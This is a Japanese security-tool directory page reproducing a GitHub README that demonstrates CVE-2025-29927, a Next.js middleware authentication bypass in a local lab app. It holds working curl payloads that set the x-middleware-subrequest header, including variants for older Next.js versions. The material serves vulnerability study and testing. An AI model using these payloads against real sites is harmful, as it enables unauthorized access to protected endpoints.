Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-2995 | Kitploit
ツール/GitHubGitHub/huynguyen12536/cve-2025-2995
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubhuynguyen12536/cve-2025-2995

CVE-2025-2995

リポジトリを見る
6ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-29927 認証バイパスの再現

このリポジトリは、next パッケージにおける CVE-2025-29927 脆弱性の再現です。

再現手順

  1. 以下の手順に従って、Next.js アプリケーションをクローンして実行します。
  2. 認証が /api/hello エンドポイントへのアクセスを拒否することをテストします。
root@kitploit:~
$ curl http://localhost:3000/api/hello

{"error":"Unauthorized"}%
  1. トークンが提供された場合に認証が機能することをテストします。
root@kitploit:~
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello

{"message":"Hello World"}%
  1. ここで、特別な x-middleware-subrequest ヘッダーに middleware を5回ネストすることでバイパスすることもできます:
root@kitploit:~
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello

{"message":"Hello, World"}

古い Next.js バージョンにおける CVE-2025-29927 の悪用

Next.js 12 と 13 では、ミドルウェアファイルの命名規則が異なり (_middleware.js)、Next.js 14 で middleware.js に変更されました。この脆弱性は、古いバージョンでは _middleware.js ファイルを使用することで悪用できます。

例えば、Next.js のバージョンとルーティング規則に応じて、以下のペイロードが該当します:

  • curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (Next.js バージョン12.2で、middleware.js ファイルが pages ディレクトリ内ではなくアプリのルートに配置されている場合)
    • curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hello
  • curl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (Next.js バージョン11から12.2まで)
  • curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hello
  • curl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello

はじめに

まず、開発サーバーを起動します:

root@kitploit:~
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev

ブラウザで http://localhost:3000 を開くと結果が表示されます。

app/page.js を変更することでページの編集を開始できます。ファイルを編集するとページは自動的に更新されます。

このプロジェクトは next/font を使用して、Vercel の新しいフォントファミリーである Geist を自動的に最適化して読み込みます。

詳細情報

Next.js の詳細については、以下のリソースを参照してください:

  • Next.js Documentation - Next.js の機能とAPIについて学べます。
  • Learn Next.js - インタラクティブなNext.jsチュートリアル。

Next.js GitHub リポジトリ をチェックしてください。フィードバックや貢献を歓迎します!

Vercel へのデプロイ

Next.js アプリをデプロイする最も簡単な方法は、Next.js の創造者による Vercel Platform を使用することです。

詳細については、Next.js デプロイドキュメント を参照してください。

ツールをダウンロード